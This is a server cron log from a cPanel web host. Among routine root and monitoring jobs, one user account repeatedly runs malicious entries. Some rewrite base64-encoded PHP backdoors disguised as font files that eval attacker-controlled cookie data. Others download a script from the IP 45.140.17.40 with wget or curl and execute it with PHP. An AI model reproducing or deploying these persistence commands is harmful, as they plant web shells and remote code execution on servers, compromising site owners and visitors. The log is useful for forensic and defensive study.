Sep  3 01:21:01 ip-184-168-122-23 CROND[9093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:21:01 ip-184-168-122-23 CROND[9094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:21:01 ip-184-168-122-23 CROND[9097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:21:01 ip-184-168-122-23 CROND[9099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:22:01 ip-184-168-122-23 CROND[9175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:22:01 ip-184-168-122-23 CROND[9177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:22:01 ip-184-168-122-23 CROND[9179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:22:01 ip-184-168-122-23 CROND[9178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:22:01 ip-184-168-122-23 CROND[9180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:23:01 ip-184-168-122-23 CROND[9349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:23:01 ip-184-168-122-23 CROND[9348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:23:01 ip-184-168-122-23 CROND[9350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:23:01 ip-184-168-122-23 CROND[9351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:24:01 ip-184-168-122-23 CROND[9438]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:24:01 ip-184-168-122-23 CROND[9436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:24:01 ip-184-168-122-23 CROND[9437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:24:01 ip-184-168-122-23 CROND[9439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:24:01 ip-184-168-122-23 CROND[9440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:25:01 ip-184-168-122-23 CROND[9525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:25:01 ip-184-168-122-23 CROND[9526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:25:01 ip-184-168-122-23 CROND[9530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:25:01 ip-184-168-122-23 CROND[9531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:25:01 ip-184-168-122-23 CROND[9529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:25:01 ip-184-168-122-23 CROND[9532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:26:01 ip-184-168-122-23 CROND[9622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:26:01 ip-184-168-122-23 CROND[9623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:26:01 ip-184-168-122-23 CROND[9620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:26:01 ip-184-168-122-23 CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:26:01 ip-184-168-122-23 CROND[9624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:27:01 ip-184-168-122-23 CROND[9703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:27:01 ip-184-168-122-23 CROND[9705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:27:01 ip-184-168-122-23 CROND[9704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:27:01 ip-184-168-122-23 CROND[9706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:28:01 ip-184-168-122-23 CROND[9869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:28:01 ip-184-168-122-23 CROND[9871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:28:01 ip-184-168-122-23 CROND[9872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:28:01 ip-184-168-122-23 CROND[9873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:28:01 ip-184-168-122-23 CROND[9875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:29:01 ip-184-168-122-23 CROND[9955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:29:01 ip-184-168-122-23 CROND[9957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:29:01 ip-184-168-122-23 CROND[9956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:29:01 ip-184-168-122-23 CROND[9958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:30:02 ip-184-168-122-23 CROND[10050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:30:02 ip-184-168-122-23 CROND[10052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:30:02 ip-184-168-122-23 CROND[10053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:30:02 ip-184-168-122-23 CROND[10056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:30:02 ip-184-168-122-23 CROND[10055]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:30:02 ip-184-168-122-23 CROND[10057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:30:02 ip-184-168-122-23 CROND[10061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:30:02 ip-184-168-122-23 CROND[10064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:31:01 ip-184-168-122-23 CROND[10161]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 01:31:01 ip-184-168-122-23 CROND[10164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:31:01 ip-184-168-122-23 CROND[10163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:31:01 ip-184-168-122-23 CROND[10165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:31:01 ip-184-168-122-23 CROND[10166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:32:01 ip-184-168-122-23 CROND[10244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 01:32:01 ip-184-168-122-23 CROND[10246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:32:01 ip-184-168-122-23 CROND[10247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:32:01 ip-184-168-122-23 CROND[10249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 01:32:01 ip-184-168-122-23 CROND[10250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 01:33:01 ip-184-168-122-23 CROND[10418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
